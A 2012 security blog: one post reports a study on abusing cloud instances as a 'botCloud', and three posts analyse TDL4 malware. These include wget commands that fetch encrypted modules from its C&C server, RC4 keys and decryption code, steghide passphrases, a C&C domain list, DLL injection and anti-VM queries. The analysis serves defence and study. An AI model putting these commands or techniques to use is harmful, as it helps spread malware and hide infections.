Monday, 29 October 2012

botCloud – an emerging platform for cyber-attacks

Hosting network services on Cloud platforms is getting more and more popular. It is not in the scope of this article to elaborate the advantage of using Cloud computing, instead, as the title of might have already inspired you, here we discuss the potential benefits available to malicious entities in using a Cloud platform (CP). In particular, we are going to see:

  • What benefits do attackers get by using CP for their nefarious purposes?
  • Can a CP be programmed to launch security attacks, propagate malware, or perform denial-of-service attacks?
  • Are the current security features of CP providers robust in their detection and prevention of malicious usage? 

  • The questions above were based a research study conducted at the Stratsec IT Security Winter School 2012[1]. The objective of this research was to investigate the security posture of Cloud providers in protecting against malicious usage (the security point of view), as well as assessing the effectiveness of such CPs for launching malicious activities (the attacker point of view). We define “botCloud” as a group of Cloud instances that are commanded and controlled by a malicious entity to initiate cyber-attacks.

    Setup

    The research was initiated by subscribing to five common Cloud providers and setting up to 10 Cloud instances (virtual machines) at each provider to form the attacker hosts. The target (victim) hosts were setup virtually in a controlled network environment. A public IP address as well as a DNS name was associated to each of victim hosts where the traffic from attacker hosts could be directed. All network traffic from the attacker was monitored and recorded. Each victim host was equipped with typical public network services such as Web, FTP and SMTP.
    One of the main questions was to identify the type and nature of tests that we could run on each attacker host against the victim hosts. We selected a set of test cases that are commonly used by security professionals to benchmark security systems. These test cases included:

  • Malformed traffic: Sending a series of non-RFC compliant packets, as well as aggressive port scanning.
  • Malware traffic: Sending a set of publicly known and commonly detected malware to the victim host via a ‘reverse shell’.
  • Denial of service: Sending a flood of traffic to a web server on the victim host.
  • Brute force: Attempting to brute-force the password for the credentials on the FTP service.
  • Shellcode: Launching a set of known shellcodes against various services running on the victim host.
  • Web application: Launching commonly known web application attacks against the victim host including SQL injection, cross-site scripting, path traversal, etc.

  • In order to further verify that the test cases were detectable by the security systems, we setup an off-the-shelf intrusion detection system (IDS) with its default configuration on the victim host. The IDS was set to monitor all network traffic sent to and received from the attack hosts, and to log and alert on possible incidents.

    Experiment

    We conducted the four experiments listed below, based on the duration of running each test case and location of the victim host. The description of each experiment is as flow.

  • Experiment 1: The victim host was placed in a typical network environment with a public IP address, firewall and IDS. The test cases were executed on each of the attack hosts all targeting the single victim host. The purpose here was to investigate the security posture of CPs in the event of outbound “malicious” traffic.
  • Experiment 2: The victim host was setup as a Cloud instance (instead of a host in a local environment). Using the internal network connection amongst Cloud instances, the test cases were launch against the victim host. The purpose here was to benchmark the security posture of CPs when the traffic transmitted within Cloud’s internal network instances.
  • Experiment 3: With a similar setup to the previous experiment, we executed the test cases on the Cloud platform other than the one running the victim host. The idea here was to investigate the security of CPs when the traffic comes from an external network.
  • Experiment 4: With a similar setup to experiment 1, we increased the duration of the test cases execution. We selected some of test cases (e.g. full TCP handshake port scanning) and execute them for nearly 48 hours. The idea here was to investigate if duration of the test case execution and the volume of the generated traffic can cause impact on the result of the experiment.
  • Figure 1 illustrates the conceptual framework of the experiment. The Cloud instances and Test server are respectively attacker and victim hosts. We used Monitoring and Command and control hosts to monitor network traffics and send commands to Cloud instances.

    Figure 1: the experiment conceptual framework

    The experiment was conducted over a period of 21 days. We measured the CPU and network bandwidth usages of each attack host using both the CP’s API and a monitoring program running on each host. Additionally, we captured and recorded the generated network traffic.

    Results and observation

    The below illustrates the result of the experiment from two perspectives – the security posture of CPs, and the benefits for malicious entities.

    Security posture of the Cloud platforms

    During the execution of the test cases, although we were expecting responses from Cloud providers, our observations on the five tested Cloud providers showed that:

  • No connection reset or connection termination on the outbound or inbound network traffic;
  • No connection reset or termination against the internal malicious traffic;
  • No traffic was throttled or rate limited;
  • No warning emails, alerts, or phone calls were generated by the Cloud providers, with no temporary or permanent account suspensions;
  • Only one Cloud provider by default blocked inbound and outbound traffic on SSH, FTP and SMTP, however these limitation was bypassed by running the above service on non-default port.

  • Benefit for malicious entities

    From the perspective of a malicious entity using the Cloud as an attack platform has potentially the following benefits:

  • Relatively easy to setup and use: compared with a traditional botnet setup where an attacker  generally requires extensive knowledge about programming languages, software vulnerabilities and networking, it is relatively easy to setup a botCloud.  Here, attackers require familiarisation with the CPs API as well as system administration knowledge.
  • Significantly less time to build: in a typical botnet setup an attacker must find a list of victims, bypass the victim’s security systems (e.g. anti-virus, anti-spam filter) to propagate malware, and then hope for execution of the malware on the victim’s machine in order to turn it into a zombie box. In a botCloud setup, it takes a matter of minutes to create a large number of clones of a Cloud instance. This makes it virtually effortless to create tens to hundreds of cloned instances in which to launch attacks from.
  • Highly reliable and scalable: scalability and reliability are the two important factors that have attracted lots of organisation to the Cloud.  Given this appeal, they can also give attackers a more stable platform for launching attacks. This can be compared with traditional botnets where a zombie boxes might become unresponsive or be taken offline completely.
  • More effective: attackers can fully utilise the fast CPUs and network infrastructure on the Cloud instances where in the case of a traditional botnets, the attacker is limited to the resources available on the zombie boxes.
  • Low cost: base on our experiment, with the budget of as low as $7 and minimum hardware specification, it is possible to setup a botCloud with tens to hundreds of Cloud instances. Figure 2 illustrates the CPU and outbound network usage for the first experiment on one of the Cloud providers. The average CPU usage (dotted line) is less than 20% and the network outbound traffic less than 0.2 megabytes (1.5 megabits). This figure shows that the volume of resources required for running a botCloud can be relatively low, depends on type of attack.



  • Figure 2: CPU and outbound network bandwidth usage for the first experiment on one of the Cloud providers

    Conclusion

    The research investigated the security posture of Cloud platforms against malicious usage, as well as the effectiveness of setting up a botCloud using this infrastructure. We define “botCloud” as a group of Cloud instances that are commanded and controlled by malicious entity to initiate cyber-security attacks. A set of common test benchmarks were executed on platforms run on five public Cloud providers against a set of test servers. The results of the experiment showed that no connections were reset or terminated when transmitting inbound and outbound malicious traffic, no alerts were raised to the owner of the accounts, and no restrictions were placed on the Cloud instances. From malicious entity’s point of view, the botCloud was relatively easy to setup; requiring significantly less time to build, and considered highly reliable when compare to a traditional botnet. Furthermore, the resource consumption for running a botCloud was found to be relatively low and can potentially be setup with a limited budget. For organisations that are seeking to host their services on the cloud, if you have a mature technical security capability with your on-site solutions, you may find higher likelihood of compromise, reduced likelihood of notification attack and possible difficulties in investigation and response when you move toward Cloud hosted services. The following are quick words of advice if your organisation is moving to Cloud computing:

  • Look for security features such as high-end firewall and IDS when you choosing a Cloud provider.
  • Does the Cloud provider undertake regular security testing of their environment? If so is this done independently?  Can you validate them to see if they meet your expectations? Be diligent in your investigations and consider how the Cloud provider’s security model fits with your enterprise security architecture.
  • Think about services you are planning to host on the Cloud. Do not get temped with ease of use and cheap cost.
  • Be aware of a possible botCloud attack. The traffic that is coming from public Cloud providers should not necessary be deemed safe.

  • Acknowledgements: This article was written by Pedram Hayati, based on research completed by the Cloud Security Research Group of the Stratsec Winter School, comprising Jia Jindou from Beijing university, China, Daria Rvacheva from Moscow state university, Russia and Pedram Hayati, Senior Consultant, BAE Systems Stratsec.

    [1] The Stratsec Winter School is an ongoing initiative which seeks to drew talented individuals from academic institutions to take part in a suite of intensive research projects of interest to themselves, Stratsec and UniSA, on topics of Information Security

    Wednesday, 24 October 2012

    Analysis of TDL4 (Part III)

    More About steganography

    A closer look at the COM32 component of TDL4, a component that decrypts configuration text from the JPEG images hosted at imageshack.us and posted into the blogs, reveals that COM32 is a rip-off of the open source project called Steghide - a steganography program, developed by Stefan Hetzl.

    Because COM32 is compiled from the publicly available source files, you don't even need to download COM32 module to decrypt the images. Just download the Steghide software, and run it against a JPEG image that can be found on TDL4 blogs.

    For example, configuration text from the images 1, 2, and 3 can be recovered by running Steghide as:

    steghide.exe extract -sf image.jpg -p A6rprm09lZnVsCn -xf config.txt

    Text from another blog's images (4, 5, and 6) can be obtained by running Steghide as:

    steghide.exe extract -sf image.jpg -p TOWasfO03gGff58 -xf config.txt

    where A6rprm09lZnVsCn and TOWasfO03gGff58 are the passphrases resulted after decrypting the strings jt5G/KE25R1VSaYny0rr and m6dj7aA9mhQKdI8X3jy9 from the original configuration file by using RC4 key #1.

    BBR232/BBR264 and SERF332/SERF364

    These additional modules are downloaded from C&C servers and then loaded into the address space of the browsers. Their purpose is to hijack browsing activity and to re-direct users into various dodgy websites, skewing Google search results, and also serving pop-ups with fake AV products, porn, gambling sites, etc.

    To fetch the modules from C&C, the following URL parameters are used:

    mode=mod&filename=bbr232 encrypted as CehOKSsUCKLC3skBxcO9fFpCcHXx4Nlw
    mode=mod&filename=serf332 encrypted as CehOKSsUCKLC3skBxcO9fFpCYXLxtNlxPw==

    Thus, wget will fetch them when run as:

    wget wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCcHXx4Nlw -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"
    wget wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCYXLxtNlxPw== -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"

    Once decrypted the same way as demonstrated in the previous blog post, BBR232 reveals itself as a module that hijacks Internet Explorer, Chrome, Safari, Opera, Firefox, and Opera browsers. SERF332 is designed for Internet Explorer only as it relies on parsing the window structure of the browser process. BBR264 and SERF364 modules are designed to support 64-bit versions of the browsers.

    For example, when processing an intercepted GET request below:

    .text:100156E3       mov     edi, ds:StrCmpNIA
    .text:100156E9       push    4
    .text:100156EB       push    offset aGet     ; "GET "
    .text:100156F0       push    ebx
    .text:100156F1       call    edi ; StrCmpNIA
    .text:100156F3       test    eax, eax
    .text:100156F5       jnz     short check_POST_Request
    .text:100156F7       mov     edx, [esp+20h+var_10]
    .text:100156FB       push    edx
    .text:100156FC       mov     ecx, ebx
    .text:100156FE       call    process_GET_request
    
    BBR232 will make sure the host name does not contain any of the following strings:

    • yimg.

    • rds.yahoo.

    • google.

    • .google

    • bing.

    • yahoo.

    • atdmt.

    • aolcdn.

    • atwola.com

    • .aol.

    • dmn.aol.

    • sa.aol.

    • .icq.

    • dw.com.

    • .gstatic.

    • img.youtube.

    • i.i.com.

    • google-analytics.com

    • .everesttech.

    • .ixnp.

    • googleapis.

    • .alexametrics.

    • scorecardresearch.com

    • alltheweb.

    • altavista.

    • microsofttranslator.

    • microsofttranslator.

    • askcache.

    • searchapi.search.aol.

    • cc.msnscache.com

    • .googlehosted.com

    • gesualdo.alexa.

    BBR232 will also make sure that the requested web page is not pre-fetched by the browser.

    In addition, it makes sure the URL string does not include the following strings:

    • search/cache

    • /search/search

    • search/redir

    • counter.yadro.ru

    • gstatic.com/inputtools

    • recaptcha_ajax.js

    • icq.com/js/cookie_lib.js

    • survey.122.2o7.net

    • fls.doubleclick.net

    • alexa.com

    • facebook.

    Next, BBR232 is able to modify the requested URL by replacing the HTTP referer in it, or replacing some URL parameters, such as "url=". The hijacking logic of what needs to be modified in the browser session is defined by a configuration file, where page redirects or HTTP referer replacements are defined in the sections enclosed with the tags [redir_urls_begin]/[redir_urls_end], and [ref_replace_begin]/[ref_replace_end] respectively. The redirect configuration may potentially be fetched from the servers:

    • wanstatcteery.com

    • wahinotisifatu.com

    • owtotmyne.com

    As a result, when the user clicks a link returned by Google Search, the "url=" parameter will be replaced with a different web page, leading to skewed analytics, fraudulent monetization via AdSense, clickjacking, Search Engine Optimisation (SEO) poisoning, and other click fraud that constitutes the "cash cow" business for the TDL/TDSS group.

    Tuesday, 23 October 2012

    Analysis of TDL4 (Part II)

    Domains

    As mentioned in the previous blog post, TDL4 has a component called CMD32/CMD64 that fetches JPEG images from the blogs specified in its configuration file. In order to recover the configurations, CMD32/CMD64 calls Init() and Uninit() functions that are implemented in the 'missing' component COM32/COM64.

    Without this component and without knowing what steganography algorithm is used to conceal the text within the images, it is impossible to recover the text.

    To download the COM32 component, the C&C server should be queried with a parameter mode=mod&filename=com32. Previous post explained how to encrypt this parameter. The server will also require the 'GeckaSeka' user agent, otherwise it'll ignore us.

    The following parameters for wget will fetch an encrypted COM32 module from the C&C server:

    wget.exe http://wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCcXju4dg= -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"

    Now, in order to decrypt the received module, the RC4 key #1 will be used, as shown below:

    prepare_seed(seed1);  // for the received file
    decrypt_file("%received_com32_module%", seed1);
    
    where seed1, as before, is ripped from the CMD32 module:

    BYTE seed1[256] =
    {
        0xF7,0xD4,0xE8,0x26,0x43,0xDB,0x7F,0x07,0xD3,0xE2,0x86,0x38,0x78,0x6A,0x77,0x38, 
        0xB0,0xCA,0xEC,0x96,0x9C,0x55,0xA8,0x26,0xFB,0x45,0x5E,0x4F,0xAF,0x9A,0x32,0xFF, 
        0xD5,0x82,0x21,0x26,0xF2,0x98,0xDE,0x28,0xC8,0x2D,0xCC,0xCC,0xFA,0xD1,0xE5,0x2E, 
        0x85,0x92,0xA9,0xCC,0xF2,0x4E,0x10,0xAD,0x63,0x47,0x25,0xA3,0x91,0x53,0x6F,0xBD, 
        0xF1,0x1C,0x3D,0x7E,0xD5,0x1A,0x49,0x75,0x44,0x76,0x04,0xD2,0xA3,0xD3,0xE1,0x92, 
        0x3A,0xA4,0x11,0x96,0x6A,0x97,0x5D,0x3A,0x76,0x3B,0xF0,0xC6,0xF7,0x5F,0xB4,0xCC, 
        0x0B,0x7B,0x0A,0xE5,0xCF,0x6D,0xAD,0x25,0xA0,0x86,0xC1,0x54,0xC4,0x42,0x85,0x46, 
        0x6C,0x8A,0x84,0x98,0x5C,0x23,0x93,0x58,0x5E,0x6C,0x36,0xC7,0x3A,0xB5,0x96,0xD4, 
        0xEA,0xB6,0x16,0x3F,0xF2,0xC1,0x4D,0x1B,0xFC,0x91,0x5D,0xF8,0x24,0xFD,0x99,0x4A, 
        0xA4,0x61,0x07,0x12,0x40,0xEC,0x43,0xBF,0x51,0x36,0xEE,0x4E,0xE9,0x58,0x87,0xBF, 
        0x1E,0xF0,0xBF,0x0A,0x32,0xE3,0xB8,0xB2,0x52,0xB3,0x49,0x3D,0x53,0x57,0x19,0xA8, 
        0x68,0xD0,0x0B,0xD5,0x50,0xD6,0x3A,0x0E,0x6E,0x3B,0xBF,0xD6,0x1C,0x6B,0x0C,0x80, 
        0x05,0x43,0x8D,0xD0,0x77,0xF9,0x64,0xA8,0x6B,0xB5,0xF6,0x0D,0xA0,0x9A,0x3D,0x2F, 
        0x00,0x52,0x3E,0x39,0xD0,0x48,0x2B,0xE7,0x55,0xE4,0x47,0x57,0x46,0x34,0xE3,0x1E, 
        0xFA,0xBE,0x0A,0x45,0xAF,0xCD,0x39,0xD3,0xA1,0x81,0xC2,0x35,0x50,0x21,0x65,0x70, 
        0x8C,0x3D,0x1B,0x3A,0xFC,0xC9,0x6A,0x96,0x65,0x18,0xC6,0x67,0x3A,0x70,0x97,0xE1,
    };
    
    With the same RC4 decryptor, the file decryption routine is implemented as:

    void decrypt_file(LPTSTR szFileName, LPBYTE seed)
    {
    
        HANDLE hFile = NULL;
        HANDLE hMap = NULL;
        LPBYTE lpbyBase = NULL;
        DWORD  dwSize = 0;
        BYTE   bRet = 0;
    
        if ((hFile = CreateFile(szFileName, 
                                GENERIC_READ | GENERIC_WRITE,                               
                                0,                               
                                NULL, 
                                OPEN_EXISTING, 
                                FILE_ATTRIBUTE_NORMAL, 
                                NULL)) != INVALID_HANDLE_VALUE)
        {
    
            if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
               ((hMap = CreateFileMapping(hFile, 
                                          NULL, 
                                          PAGE_READWRITE, 
                                          0, 
                                          0, 
                                          NULL)) != NULL))
            {
               if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, 
                                                     FILE_MAP_ALL_ACCESS, 
                                                     0, 
                                                     0, 
                                                     0)) != NULL)
               {
        
                    RC4KEY rc4_key;
                    rc4_init(seed, 256, &rc4_key);
                    rc4_crypt(lpbyBase, dwSize, &rc4_key);
    
                    UnmapViewOfFile(lpbyBase);
               }
    
               CloseHandle(hMap);
            }
            CloseHandle(hFile);
        }
    }
    
    The decrypted file is indeed a DLL file that exports Init() and Uninit() APIs. Without even trying to understand the steganography algorithm implemented in it, let's load it up and try to call its exports in order to decrypt the JPEG images posted into the blogs, specified in the MAIN configuration file as:

    [jpeg_begin]
    http://Skylaco[censored].livejournal.com/|m6dj7aA9mhQKdI8X3jy9
    http://miqefic[censored].wordpress.com/|jt5G/KE25R1VSaYny0rr
    [jpeg_end]

    Needless to say, the COM32 Dll should always be loaded in the controlled environment (treated as a malware) as the online version of it might be updated with malicious code any time.

    In order to call Init() and Uninit(), first we need to understand what parameters are expected by these functions.

    As seen in the disassembled code below, the Init() function accepts 5 parameters: a pointer into JPEG buffer, its size, pointer into the address of the decoded configuration data, its returned size, and finally, a JPEG steganography password.

    .text:10003782     mov     ecx, [esi]      ; decrypted JPEG password
    .text:10003784     push    ecx
    .text:10003785     lea     edx, [esp+62D4h+Size] ; returned configuration size
    .text:10003789     push    edx
    .text:1000378A     lea     eax, [esp+62D8h+lpConfig] ; pointer into configuration
    .text:1000378E     push    eax
    .text:1000378F     push    ebp             ; JPEG file (buffer) size
    .text:10003790     push    ebx             ; pointer into JPEG raw buffer
    .text:10003791     call    [esp+62E4h+lpfnInit]
    
    JPEG steganography password is recovered by decrypting the righ-hand part of the blog URL specified in the configuration (as shown above). For example, to decrypt all images from the Skylaco[censored].livejournal.com blog, the string m6dj7aA9mhQKdI8X3jy9 should be decrypted with the RC4 key #1, and then passed to the Init() function within COM32 Dll.

    The Init() function will allocate memory where it will unpack the configuration. As shown on the listing below, it will then save the recovered configuration back into the memory section of the infected host process, then pass the pointer of the allocated memory buffer to Uninit() function in order to de-allocate the memory:

    .text:100037DF     mov     eax, [esp+62D0h+lpConfig] ; get config pointer
    .text:100037E3     push    offset aMain_0            ; "main"
    .text:100037E8     call    save_into_host_image
    .text:100037ED     test    eax, eax
    .text:100037EF     jz      start_over_again
    ...
    .text:100037F5     mov     eax, [esp+62D0h+lpConfig] ; get config pointer
    ...
    .text:100037F9     push    eax
    .text:100037FA     call    [esp+62D4h+lpfnUninit]    ; pass it to Uninit()
    
    Knowing exactly what parameters are used for Init() and Uninit(), let's declare the prototype for these functions:

    typedef WINADVAPI BYTE (WINAPI *FINIT)(LPBYTE  abyJpegBuffer, 
                                           DWORD   dwJpegSize, 
                                           LPDWORD lpdwConfigPointer, 
                                           LPDWORD lpdwSize, 
                                           LPSTR   szJpegKey);
    typedef WINADVAPI BYTE (WINAPI *FUNINIT)(DWORD dwConfigPointer);
    
    FINIT    lpfnInit = NULL;
    FUNINIT  lpfnUninit = NULL;
    
    Next, let's call the function that will decrypt the downloaded JPEG image, passing it the JPEG steganography password that is specified in the configuration:

    decrypt_jpeg("%downloaded_jpeg_file%", "jt5G/KE25R1VSaYny0rr");
    
    where decrypt_jpeg() function is implemented as shown below:

    void decrypt_jpeg(LPSTR szFileName, LPSTR szJpegKeyBase64)
    {
        char     zJpegKey[MAX_PATH];
     
        decrypt(szJpegKeyBase64, szJpegKey, seed1);
    
        HANDLE   hFile = NULL;
        HANDLE   hMap = NULL;
        LPBYTE   lpbyBase = NULL;
        DWORD    dwSize = 0;
     
        DWORD    dwConfigPointer;
        DWORD    dwConfigSize;
        DWORD    dwBytesWritten;
    
        char     szConfigTxt[MAX_PATH];
        HANDLE   hConfigTxt = NULL;
    
        HINSTANCE hCom32 = LoadLibrary("%decrypted_com32_module%");
        if (hCom32 == NULL)
        {
            return;
        }
    
        lpfnInit = (FINIT)GetProcAddress(hCom32, "Init");
        lpfnUninit = (FUNINIT)GetProcAddress(hCom32, "Uninit");
    
        if ((lpfnInit == NULL) || (lpfnUninit == NULL))
        {
            FreeLibrary(hCom32);
            return;
        }
    
        if ((hFile = CreateFile(szFileName, 
                                GENERIC_READ,                               
                                0,                               
                                NULL, 
                                OPEN_EXISTING, 
                                FILE_ATTRIBUTE_NORMAL, 
                                NULL)) != INVALID_HANDLE_VALUE)
        {
    
            if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
               ((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL))
            {
               if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)
               {
        
                    dwConfigSize = 0;
                    dwConfigPointer = 0;
                    
                    if (lpfnInit(lpbyBase, 
                                 dwSize, 
                                 &dwConfigPointer, 
                                 &dwConfigSize, 
                                 szJpegKey))
                    {
                        if (dwConfigPointer && dwConfigSize)
                        {
                            sprintf_s(szConfigTxt, MAX_PATH, "%s.txt", szFileName);
    
                            if ((hConfigTxt = CreateFile(szConfigTxt, 
                                                         GENERIC_WRITE, 
                                                         FILE_SHARE_READ, 
                                                         NULL, 
                                                         OPEN_ALWAYS, 
                                                         FILE_ATTRIBUTE_NORMAL, 
                                                         NULL)) != INVALID_HANDLE_VALUE)
                            {
                                WriteFile(hConfigTxt, 
                                          (LPVOID)dwConfigPointer, 
                                          dwConfigSize, 
                                          &dwBytesWritten, 
                                          NULL);
    
                                CloseHandle(hConfigTxt);
                            }
                        }
    
                        lpfnUninit(dwConfigPointer);
                    }
    
                    UnmapViewOfFile(lpbyBase);
               }
    
               CloseHandle(hMap);
            }
            CloseHandle(hFile);
        }
     
        FreeLibrary(hCom32);
    }
    
    Applying this function over an image downloaded from one of the blogs above (the actual image below doesn't have an embedded text - it was stripped as the image was processed, the original image is available here):

    reveals full configuration file that includes new C&C servers in it:

    Applying this function over all JPEG images from the 2 previously mentioned blogs, allows assembling the C&C domain list below:

    • http://andianralway.com

    • http://ardchecksys.com

    • http://arevidenlo.com

    • http://asdron.com

    • http://aspirefotbal.com

    • http://atisedir.com

    • http://ciselwic.com

    • http://docietyofa.com

    • http://doproter.com

    • http://ecavesiyc.com

    • http://ersitycardio.com

    • http://farepala.com

    • http://healthclini.com

    • http://icaidspenp.com

    • http://lacuricub.com

    • http://listofvoteri.com

    • http://mecarinariniz.com

    • http://merialedilasuc.com

    • http://njmedicaice.com

    • http://nucerecat.com

    • http://playpitchca.com

    • http://ramofgrenca.com

    • http://rentalprope.com

    • http://ricardogoe.com

    • http://sardpuitsmea.com

    • http://sdhcardusba.com

    • http://shuttleserv.com

    • http://silverlakem.com

    • http://tilesnightc.com

    • http://tobenri.com

    • http://uclanedical.com

    • http://uindirected.com

    • http://uluniwiming.com

    • http://usibetsou.com

    • http://vaneriledcas.com

    • http://wacardeuse.com

    • http://wahinotisifatu.com

    • http://waoninstofnatine.com

    • http://washutubs.com

    • http://wideoexpre.com

    • http://wieremien.com

    • http://yonseiuniver.com

    Once the new C&C servers go live, TDL4 will visit them and request updated configuration from them. The new configuration may specify different blogs with the different posted JPEG images, and new configuration data embedded in them, pointing into the new domains. This vicious cycle may potentially go on indefinitely. Until there is at least one live domain or one live blog, the masterminds behind the botnet have a chance to inject a new portion of the domains and blogs into this deadly whirlpool, preserving full control over the victims.

    Sunday, 21 October 2012

    Analysis of TDL4

    The Dropper

    Our lab has recently got its hands on a new sample of TDL4, also known as TDSS.

    The sample is likely distributed as a dropper file named outlkupd.exe; its file size 1,224Kb. Some of the components that it drops were compiled in July 2012, and some were compiled in September 2012 - so it's relatively a 'fresh' one.

    The dropper is packed with an interesting packer that disguises the protected executable underneath as a normal code, with the normal flow and innocent API calls. The 'normal' code produced by the protector is designed to fool AV engines: its entropy is fine, so it does not 'ring any bells' within AV heuristics, the APIs it imports are from kernel32.dll and C++ run-time library only, and the algorithm itself displays current time around the world, so no alarms from the AV emulators either:

    push    offset aPhoenixAzU_s_2 ; "Phoenix AZ (U.S.) :  %2d:%02d\n%d"
    sub     word ptr [ebp-0Ch], 8A51h
    call    printf
    ...
    push    offset aBeijingMa2d02d ; "Beijing (MA) :     %2d:%02d\n"
    cmp     dword ptr [ebp-20h], 0F001E96Fh
    jz      loc_4027D9
    ...
    push    offset aCurrentTimeAro ; "Current time around the World:"
    call    printf
    
    The resources of the dropper indicate it's a 'shell extension library', having a dialog window in its GUI:


    The only discrepancy is that while the sample has resources, their size is just 5Kb, while the data section is around 1.2Mb - so what does it carry in its protected luggage?

    When run, the dropper allocates a heap memory where it unpacks the code and then jump in it:

    From there, it will reconstruct the code in its data section and then pass control back to it:

    The code reconstructed in the data section now has an interesting characteristic - instead of a traditional flow, it now assembles the pointers of its functions into a vector. Then, it enumerates the vector and calls each of the function by its pointer. If the function returns FALSE, the code quits. Some functions that it calls contain nested code that also assembles the pointers of other functions into a vector and then calls functions from that vector. Thus, the code flow now reminds a tree where all the nodes located on one level are called subsequently, and all of them have to return TRUE.

    For example:

    .data:0040A830     mov     dword ptr [esi], offset run_query_ANTI_VM
    ...
    .data:0040A841     mov     [esp+20h+var_14], offset _check_usernames
    .data:0040A849     cmp     eax, esi
    .data:0040A84B     jnb     short next_function_pointer
    ...
    .data:0040A860     lea     eax, [esp+20h+Memory]
    .data:0040A864     call    add_to_function_vector
    ...
    .data:0040AB80 call_next:
    .data:0040AB80     call    dword ptr [ebx] ; CALL function
    .data:0040AB82     test    eax, eax
    .data:0040AB84     jz      short exit_loop
    .data:0040AB86     add     ebx, 4          ; advance index
    .data:0040AB89     cmp     ebx, esi        ; check against the limit
    .data:0040AB8B     jnz     short call_next ; CALL function
    
    The dropper then starts extracting resources from the encrypted stubs of its data section.

    First, it extracts resource "affid" of the type of "FILE", and decodes it in a string "540". Next, it extracts "subid" resource of "FILE" type, and decodes it into "direc47". Then it concatenates both strings into "540-direc47".

    The string "outlkupd.exe" is then extracted from the resource "name" of type "PAIR".

    To make sure there is only instance of the dropper running, the code takes a hard-coded string "ba1039e8cdae53e44ac3e6185b0871f3d031a476" and appends "1010" to it to create a mutex, then appends "1011" to create an event:

    • creates mutex: Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761010

    • creates event: Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761011

    Following that, the dropper creates a copy of itself under the following names:
    • %TEMP%\outlkupd.exe

    • %TEMP%\[rnd].tmp

    where %TEMP% is a temporary directory.

    The dropper then checks the version of the operating system, and acts accordingly. If the OS is Windows 2000, Windows XP, Windows Server 2003, or Windows Server 2003 R2, it will run outlkupd.exe.

    If the OS is Windows Vista or Windows Server 2008, it will extract resources appverif.exe and vrfcore.dll, then run appverif.exe and wait for 10 seconds before continuing (the user is supposed to accept UAC message during that time).

    If the OS is Windows 7, Windows 8, Windows Server 2012 or Windows Server 2008 R2, it will extract resource "stclient.dll" of type PROXY32 as %TEMP%\stclient.dll, if the OS is 32-bit. If the OS is 64-bit (via calling IsWow64Process() on its own process), it will instead extract the resource sqmapi.dll of type PROXY64 as %TEMP%\sqmapi.dll. Next, it constructs a long string that consists of the following lines:

    "%SYSTEM%\cmd.exe"
    "C:\%TEMP%\sqmapi.dll"
    "C:\WINDOWS\ehome"
    "C:\WINDOWS\ehome\Mcx2Prov.exe"
    "%TEMP%\outlkupd.exe"

    where %SYSTEM% may look like "C:\WINDOWS\System32" on a 32-bit Windows or "C:\WINDOWS\SysWOW64" on a 64-bit OS.

    The dropper will then attempt to run a process with the name composed from the lines above, with the CreateProcess() API.

    The dropper then attempts to inject the dropped DLL into the launched process and run it there. The injection is implemented by calling CreateRemoteThread() and passing it as a parameter the address of LoadLibrary() API in kernel32.dll, obtained with GetProcAddress(), and a path of the dropped DLL.

    .data:0040FAB0     call    VirtualAllocEx
    .data:0040FAB6     mov     edi, eax
    .data:0040FAB8     test    edi, edi
    .data:0040FABA     jz      short loc_40FA5D
    .data:0040FABC     push    0               ; lpNumberOfBytesWritten
    .data:0040FABE     push    ebx             ; nSize
    .data:0040FABF     lea     ecx, [esp+14h+FileName]
    .data:0040FAC3     push    ecx             ; lpBuffer
    .data:0040FAC4     push    edi             ; lpBaseAddress
    .data:0040FAC5     push    esi             ; hProcess
    .data:0040FAC6     call    WriteProcessMemory
    .data:0040FACC     test    eax, eax
    .data:0040FACE     jz      short loc_40FA5D
    .data:0040FAD0     mov     al, 65h
    .data:0040FAD2     push    offset dword_4261B4 ; lpModuleName
    .data:0040FAD7     mov     dword_4261B4, 'nrek'
    .data:0040FAE1     mov     byte_4261B8, al
    .data:0040FAE6     mov     dword_4261B9, '.23l'
    .data:0040FAF0     mov     dword_4261BD, 'lld'
    .data:0040FAFA     call    GetModuleHandleA ; get handle of kernel32.dll
    .data:0040FB00     push    offset dword_4261C4 ; lpProcName
    .data:0040FB05     push    eax             ; hModule
    .data:0040FB06     mov     dword_4261C4, 'daoL'
    .data:0040FB10     mov     dword_4261C8, 'rbiL'
    .data:0040FB1A     mov     dword_4261CC, 'Wyra'
    .data:0040FB24     mov     byte_4261D0, 0
    .data:0040FB2B     call    GetProcAddress  ; get ptr to LoadLibrary
    .data:0040FB31     mov     ecx, eax        ; lpStartAddress
    .data:0040FB33     mov     eax, edi
    .data:0040FB35     mov     edx, esi        ; hProcess
    .data:0040FB37     call    _CreateRemoteThread ; run LoadLibrary(path to DLL)
    
    Following the steps above, the dropper starts checking if it is running under a virtual machine. To achieve that, it uses Windows Management Instrumentation (WMI) to query a number of key system parameters via WMI query interface.

    For example, to see if it is running under Qemu emulator, it runs the following WMI queries:

    • SELECT * FROM Win32_Processor WHERE Name LIKE "%QEMU%"

    • SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%QEMU%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%QEMU%"

    Other performed queries are:
    • SELECT * FROM Win32_Processor WHERE Name LIKE "%Bochs%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Red Hat%"

    • SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE "%Xen%"

    • SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Parallels%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Virtual HDD%"

